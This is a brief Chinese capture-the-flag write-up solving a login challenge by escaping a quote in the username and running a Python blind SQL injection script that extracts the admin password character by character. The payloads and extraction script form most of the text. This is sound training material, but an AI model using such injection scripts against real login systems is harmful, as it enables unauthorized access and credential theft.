题目
过程
1.username=admin,password=123
2.username=admin’,password=123
3.没有什么提示,扫描目录试试,发现hint.txt,发现后端过滤语句。
倘若转义username后面第一个单引号,使$_POST前面的单引号与password=后面的单引号闭合,便可以逃逸此单引号后面的内容。
select * from users where username='$_POST["username"]' and password='$_POST["password"]';
username=admin
password=or 1#
4.理解这些,脚本就很容易写了
import requests
import time
url='http://30e42e1c-74ab-4d1f-82e8-fcfb7562dfe1.node3.buuoj.cn/index.php'
flag=''
for x in range(1,50):
high=137
low=32
mid=(low+high)//2
while high>low:
payload='^/**/(ascii(substr((password),%d,1))>%d)#'%(x,mid)
data={
"username":"admin\\",
"password":payload
}
response=requests.post(url,data=data)
if 'P3rh4ps' in response.text:
low=mid+1
else:
high=mid
mid=(high+low)//2
flag+=chr(int(mid))
print flag
#or (ascii(substr((password),1,1))>1)#
5.爆出密码,登录得flag。OhyOuFOuNdit